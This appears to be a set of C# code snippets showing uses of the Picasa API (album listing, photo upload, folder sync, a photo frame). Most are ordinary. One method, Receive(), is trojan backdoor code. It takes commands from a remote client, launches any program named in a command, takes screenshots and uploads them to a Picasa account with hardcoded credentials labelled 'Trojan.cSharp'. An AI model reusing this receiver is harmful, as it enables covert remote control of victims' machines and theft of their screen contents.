private void AuthenticatePicasaButton_Click(object sender, RoutedEventArgs e) { authenticatePicasaButton.IsEnabled = false; authenticatePicasaLabel.Content = ""; try { var query = new PhotoQuery(PicasaQuery.CreatePicasaUri(DataModel.Element.PicasaUsername)); query.NumberToRetrieve = 1; var picasaService = new PicasaService(DataModel.Element.ApplicationName); picasaService.setUserCredentials(DataModel.Element.GoogleUsername, DataModel.Element.GooglePassword); var feed = picasaService.Query(query); authenticatePicasaLabel.Content = "Authentication Successful"; } catch (Exception exception) { authenticatePicasaLabel.Content = "Authentication Failure"; } finally { authenticatePicasaButton.IsEnabled = true; } }
public PicasaService Service() { var picasaService = new PicasaService(picasaAppName); picasaService.setUserCredentials(userName, password); return picasaService; }
public GoogleService(string username, string password) { // init the service this.username = username; service = new PicasaService(AppName); service.setUserCredentials(username, password); // cache albums AlbumQuery query = new AlbumQuery(PicasaQuery.CreatePicasaUri(username)); PicasaFeed feed = service.Query(query); foreach (PicasaEntry entry in feed.Entries) { Album a = new Album(); a.AtomEntry = entry; cache[a.Title] = a; } }
public static string SubmitImage(Stream photoStream, string contentType, string slugHeader) { PicasaService service = new PicasaService("phinitive"); string password = ConfigurationManager.AppSettings["GoogleAccountPassword"] ?? String.Empty; if (String.IsNullOrWhiteSpace(password)) { return "Password is empty"; } else { service.setUserCredentials("*****@*****.**", password); PicasaEntry entry = (PicasaEntry)service.Insert( new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"), photoStream, contentType, slugHeader); return entry.MediaUri.Content; } }
public static string GetAlbum(string album) { string retVal; try { var service = new PicasaService("exampleCo-exampleApp-1"); string usr = Settings.GetSingleValue("Account") + "@gmail.com"; string pwd = Settings.GetSingleValue("Password"); service.setUserCredentials(usr, pwd); var query = new PhotoQuery(PicasaQuery.CreatePicasaUri(usr, album)); PicasaFeed feed = service.Query(query); retVal = "<ul id=\"AlbumList\">"; foreach (PicasaEntry entry in feed.Entries) { var firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string; string thumGrp = "/s" + Settings.GetSingleValue("PicWidth") + "/"; if (firstThumbUrl != null) firstThumbUrl = firstThumbUrl.Replace("/s72/", thumGrp); var contentUrl = entry.Media.Content.Attributes["url"] as string; if (contentUrl != null) contentUrl = contentUrl.Substring(0, contentUrl.LastIndexOf("/")); contentUrl += "/s640/" + entry.Title.Text; retVal += string.Format(Img, firstThumbUrl, contentUrl); } retVal += "</ul>"; } catch (Exception qex) { retVal = qex.Message; } return retVal; }
/// <summary> /// Syncs a local folder to an online Picasa Web Album location /// </summary> /// <param name="folderPath">The source folder to sync.</param> public void SyncFolder(string folderPath) { ResetCounters(); PicasaService session = new PicasaService("PicasaWebSync"); session.setUserCredentials(this.PicasaUsername, this.PicasaPassword); AlbumQuery query = new AlbumQuery(PicasaQuery.CreatePicasaUri(this.PicasaUsername)); try { WriteOutput("[Connecting to Picasa web service]"); //fetch all albums PicasaFeed albumFeed = session.Query(query); WriteOutput("[Starting sync]"); folderPath = folderPath.TrimEnd(new char[] { '\\' }); DirectoryInfo sourceFolder = new DirectoryInfo(folderPath); m_baseDirectoryName = sourceFolder.Name; SyncFolder(sourceFolder, null, this.AlbumAccess, this.IncludeSubFolders, session, albumFeed); } catch (GDataRequestException gdrex) { if (gdrex.ResponseString.Contains(GDATA_RESPONSE_BADAUTH)) { throw new AuthenticationException("Picasa error - username and/or password is incorrect! Check the config file values."); } else { throw new Exception(string.Format("Picasa error - {0}", gdrex.ResponseString)); } } WriteOutput("[Done]"); WriteOutput(string.Empty); WriteOutput("Summary:"); WriteOutput(string.Format(" Folders skipped: {0}", m_folderSkipCount.ToString())); WriteOutput(string.Format(" Albums created: {0}", m_albumCreateCount.ToString())); WriteOutput(string.Format(" Albums updated: {0}", m_albumUpdateCount.ToString())); WriteOutput(string.Format(" Albums deleted: {0}", m_albumDeleteCount.ToString())); WriteOutput(string.Format(" Files uploaded: {0}", m_fileCreateCount.ToString())); WriteOutput(string.Format(" Files removed: {0}", m_fileDeleteCount.ToString())); WriteOutput(string.Format(" Files skipped: {0}", m_fileSkipCount.ToString())); WriteOutput(string.Format(" Errors occured: {0}", m_errorsCount.ToString())); WriteOutput(string.Format(" Elapsed time: {0}", (DateTime.Now - m_startTime).ToString())); }
/// <summary> /// Do the actual upload to Picasa /// For more details on the available parameters, see: http://code.google.com/apis/picasaweb/docs/1.0/developers_guide_dotnet.html /// </summary> /// <param name="imageData">byte[] with image data</param> /// <returns>PicasaResponse</returns> public static PicasaInfo UploadToPicasa(byte[] imageData, string title, string filename, string contentType) { PicasaService service = new PicasaService(Picasa_APPLICATION_NAME); service.setUserCredentials(config.Username, config.Password); Uri postUri = new Uri(PicasaQuery.CreatePicasaUri(config.Username)); // build the data stream Stream data = new MemoryStream(imageData); PicasaEntry entry = (PicasaEntry)service.Insert(postUri, data, contentType, filename); return RetrievePicasaInfo(entry); }
public static PicasaEntry RetrievePicasaEntry(string id) { PicasaService service = new PicasaService(Picasa_APPLICATION_NAME); service.setUserCredentials(config.Username, config.Password); PhotoQuery photoQuery = new PhotoQuery(PicasaQuery.CreatePicasaUri(config.Username, string.Empty, id)); photoQuery.NumberToRetrieve = 1; PicasaFeed picasaFeed = service.Query(photoQuery); if (picasaFeed.Entries.Count > 0) { return (PicasaEntry)picasaFeed.Entries[0]; } return null; }
protected string GetAlbumsTable() { if (string.IsNullOrEmpty(Settings.GetSingleValue("Account"))) return string.Empty; var service = new PicasaService("exampleCo-exampleApp-1"); string usr = Settings.GetSingleValue("Account") + "@gmail.com"; string pwd = Settings.GetSingleValue("Password"); service.setUserCredentials(usr, pwd); var sb = new StringBuilder("<table class=\"beTable\">"); var query = new AlbumQuery(PicasaQuery.CreatePicasaUri(usr)); PicasaFeed feed = service.Query(query); sb.Append(GetHeader()); var cnt = 0; foreach (PicasaEntry entry in feed.Entries) { var ac = new AlbumAccessor(entry); const string cell = "<td>{0}</td>"; sb.Append(cnt%2 == 0 ? "<tr>" : "<tr class=\"alt\">"); // thumbnail string albumUri = ((Google.GData.Client.AtomEntry)(entry)).AlternateUri.ToString(); string firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string; string thumbAncr = string.Format("<a href=\"{2}\"><img src=\"{0}\" alt=\"{1}\" width=\"40\" /></a>", firstThumbUrl, entry.Title.Text, albumUri); sb.Append(string.Format(cell, thumbAncr)); // title sb.Append(string.Format(cell, ac.AlbumTitle)); // description sb.Append(string.Format(cell, ac.AlbumSummary + " ")); // number of photos sb.Append(string.Format(cell, ac.NumPhotos)); // access sb.Append(string.Format(cell, ac.Access)); // extension tag string feedUri = entry.FeedUri; const string showTag = "[PicasaShow:{0}]"; const string albmTag = "[PicasaAlbum:{0}]"; if (ac.Access.ToLower() == "protected") { sb.Append(string.Format(cell, " ")); sb.Append(string.Format(cell, " ")); } else { sb.Append(string.Format(cell, string.Format(showTag, ac.AlbumTitle))); sb.Append(string.Format(cell, string.Format(albmTag, ac.AlbumTitle))); } sb.Append("</tr>"); cnt++; } return sb + "</table>"; }
//We'll run this on another thread so the CPU doesn't go haywire. public static void Receive() { //Infinite loop while (true) { //Try to read the data. try { //Packet of the received data byte[] RecPacket = new byte[1000]; //Read a command from the client. Receiver.Read(RecPacket, 0, RecPacket.Length); //Flush the receiver Receiver.Flush(); //Convert the packet into a readable string string Command = Encoding.ASCII.GetString(RecPacket); //Split the command into two different strings based on the splitter we made, --- string[] CommandArray = System.Text.RegularExpressions.Regex.Split(Command, "---"); //Get the actual command. Command = CommandArray[0]; //A switch which does a certain thing based on the received command switch (Command) { //Code for "MESSAGE" case "MESSAGE": string Msg = CommandArray[1]; string ile1 = CommandArray[2]; for (int i = 0; i < Convert.ToInt32(ile1); i++) { //Display the message in a messagebox (the trim removes any excess data received :D) MessageBox.Show(Msg.Trim('\0')); } break; case "OPENSITE": //Get the website URL string Site = CommandArray[1]; //Open the site using Internet Explorer string ile2 = CommandArray[2]; for (int i = 0; i < Convert.ToInt32(ile2); i++) { System.Diagnostics.Process IE = new System.Diagnostics.Process(); IE.StartInfo.FileName = "iexplore.exe"; IE.StartInfo.Arguments = Site.Trim('\0'); IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized; IE.Start(); } break; case "BEEP": string czas = CommandArray[1]; for (int i = 0; i <Convert.ToInt32(czas); i++) { Console.Beep(5000, 100); Console.Beep(100, 300); Console.Beep(1000, 100); Console.Beep(500, 300); Console.Beep(3000, 500); Console.Beep(500, 100); Console.Beep(1000, 100); } break; case "TAPETA": string lokalizacja = CommandArray[1]; { //SetWallpaper(openGraphic.FileName, 2, 0); int Result; string bmp_path = lokalizacja; Result = SystemParametersInfo(20, 0, bmp_path, 0x1 | 0x2); } break; case "MOW": string tekst = CommandArray[1]; string ile4 = CommandArray[2]; for (int i = 0; i < Convert.ToInt32(ile4); i++) { SpeechSynthesizer speaker = new SpeechSynthesizer(); speaker.Rate = 1; speaker.Volume = 100; speaker.Speak(tekst); } break; case "SCREEN": string data = DateTime.Now.ToShortDateString(); string godzina = DateTime.Now.ToString("HH.mm.ss"); string plik = data + "Godzina." + godzina + "s.jpeg"; { //Funkcja robi screenshota ScreenCapture sc = new ScreenCapture(); sc.CaptureScreenToFile( plik ,ImageFormat.Jpeg); ///Funkcja uploadująca na serwer picassy PicasaService service = new PicasaService("exampleCo-exampleApp-1"); service.setUserCredentials("Trojan.cSharp", "trojanc#"); System.IO.FileInfo fileInfo = new System.IO.FileInfo(plik); System.IO.FileStream fileStream = fileInfo.OpenRead(); PicasaEntry entry = (PicasaEntry)service.Insert(new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"), fileStream, "image/jpeg", plik); fileStream.Close(); } break; default: string ile3 = CommandArray[1]; for (int i = 0; i < Convert.ToInt32(ile3); i++) { System.Diagnostics.Process proces = new System.Diagnostics.Process(); proces.StartInfo.FileName = Command; proces.Start(); } break; } } catch { //Stop reading data and close break; } } }
private void LoadAlbumBackground(object sender, DoWorkEventArgs e) { //albums = new List<PicasaEntry>(); //albumIndex = -1; // Prepare for contact query string applicationName = "DigitalFrame"; string username = settings.Username; string password = settings.Password; RequestSettings contactRequestSettings = new RequestSettings(applicationName, username, password); ContactsRequest contactRequest = new ContactsRequest(contactRequestSettings); // Request all groups of the auth user. //var allGroups = contactRequest.GetGroups(); //foreach (var item in allGroups.Entries) { // Debug.Write(item.Id + " - " + item.Title); //} // Get Family group entry. Group familyGroup; StringBuilder gs = new StringBuilder(GroupsQuery.CreateGroupsUri("default")); gs.Append("/"); gs.Append("e"); // Family try { Feed<Group> gf = contactRequest.Get<Group>(new Uri(gs.ToString())); familyGroup = gf.Entries.First(); } catch (AuthenticationException) { // We fail to get the group which means the login failed. return; } catch (GDataRequestException) { return; } // Get all contacts in Family group. ContactsQuery contactQuery = new ContactsQuery(ContactsQuery.CreateContactsUri("default")); contactQuery.Group = familyGroup.Id; Feed<Contact> friends = contactRequest.Get<Contact>(contactQuery); // Prepare for picasa query service = new PicasaService(applicationName); service.setUserCredentials(username, password); service.SetAuthenticationToken(service.QueryAuthenticationToken()); allPhotos = new List<PicasaEntry>(); foreach (var contact in friends.Entries) { try { string friendUsername = ParseUserName(contact); if (!string.IsNullOrEmpty(friendUsername)) { AlbumQuery query = new AlbumQuery(); query.Uri = new Uri(PicasaQuery.CreatePicasaUri(friendUsername)); PicasaFeed picasaFeed = service.Query(query); if (picasaFeed != null && picasaFeed.Entries.Count > 0) { foreach (PicasaEntry albumEntry in picasaFeed.Entries) { PhotoQuery photosQuery = new PhotoQuery(albumEntry.FeedUri); var photosFeed = (PicasaFeed)service.Query(photosQuery); foreach (PicasaEntry photoEntry in photosFeed.Entries) { allPhotos.Add(photoEntry); } } } } } catch (LoggedException) { // Ignore the exception and continue. } } }
public static List<PicasaPhoto> GetAlbumContent(string album) { List<PicasaPhoto> retVal = new List<PicasaPhoto>(); try { var service = new PicasaService("exampleCo-exampleApp-1"); string usr = Settings.GetSingleValue("Account") + "@gmail.com"; string pwd = Settings.GetSingleValue("Password"); service.setUserCredentials(usr, pwd); var query = new PhotoQuery(PicasaQuery.CreatePicasaUri(usr, album)); PicasaFeed feed = service.Query(query); foreach (PicasaEntry entry in feed.Entries) { var firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string; string thumGrp = "/s" + Settings.GetSingleValue("PicWidth") + "/"; if (firstThumbUrl != null) firstThumbUrl = firstThumbUrl.Replace("/s72/", thumGrp); var contentUrl = entry.Media.Content.Attributes["url"] as string; if (contentUrl != null) contentUrl = contentUrl.Substring(0, contentUrl.LastIndexOf("/")); contentUrl += "/s640/" + entry.Title.Text; retVal.Add(new PicasaPhoto() { Title = entry.Summary.Text, ImageSrc = contentUrl, Url = firstThumbUrl }); } } catch { retVal = null; } return retVal; }
private static string GetSlideShow(string albumId) { string s; try { var service = new PicasaService("exampleCo-exampleApp-1"); string usr = Settings.GetSingleValue("Account") + "@gmail.com"; string pwd = Settings.GetSingleValue("Password"); service.setUserCredentials(usr, pwd); var query = new AlbumQuery(PicasaQuery.CreatePicasaUri(usr)); PicasaFeed feed = service.Query(query); string id = ""; string key = ""; foreach (PicasaEntry entry in feed.Entries) { var ac = new AlbumAccessor(entry); if (ac.Name == albumId) { id = ac.Id; string feedUri = entry.FeedUri; if (feedUri.Contains("authkey=")) { string authKey = feedUri.Substring(feedUri.IndexOf("authkey=")).Substring(8); key = authKey; } } } if (key.Length > 0) key = "authkey%3D" + key; string user = Settings.GetSingleValue("Account"); string auto = ""; if (bool.Parse(Settings.GetSingleValue("AutoPlay")) == false) { auto = "&noautoplay=1"; } string width = Settings.GetSingleValue("ShowWidth"); string height = "96"; if (int.Parse(width) > 0) { height = (int.Parse(width) * 0.74).ToString(); } s = string.Format(Tag, id, key, user, auto, width, height); } catch (Exception exp) { s = exp.Message; } return s; }
public static List<PicasaAlbum> GetAlbums() { Settings = ExtensionManager.GetSettings("Picasa2"); if (string.IsNullOrEmpty(Settings.GetSingleValue("Account"))) return null; var service = new PicasaService("exampleCo-exampleApp-1"); string usr = Settings.GetSingleValue("Account") + "@gmail.com"; string pwd = Settings.GetSingleValue("Password"); service.setUserCredentials(usr, pwd); var query = new AlbumQuery(PicasaQuery.CreatePicasaUri(usr)); PicasaFeed feed = service.Query(query); var albums = new List<PicasaAlbum>(); foreach (PicasaEntry entry in feed.Entries) { var ac = new AlbumAccessor(entry); // thumbnail string albumUri = ((Google.GData.Client.AtomEntry)(entry)).AlternateUri.ToString(); string firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string; albums.Add(new PicasaAlbum() { Accessor = ac, ThumbNailURl = firstThumbUrl, AlbumUri = albumUri }); } return albums; }
public PicasaService InitPicasaService() { PicasaService service = new PicasaService("OAMS"); service.setUserCredentials(OAMSSetting.GoogleUsername, OAMSSetting.GooglePassword); service.AsyncOperationCompleted += new AsyncOperationCompletedEventHandler(service_AsyncOperationCompleted); return service; }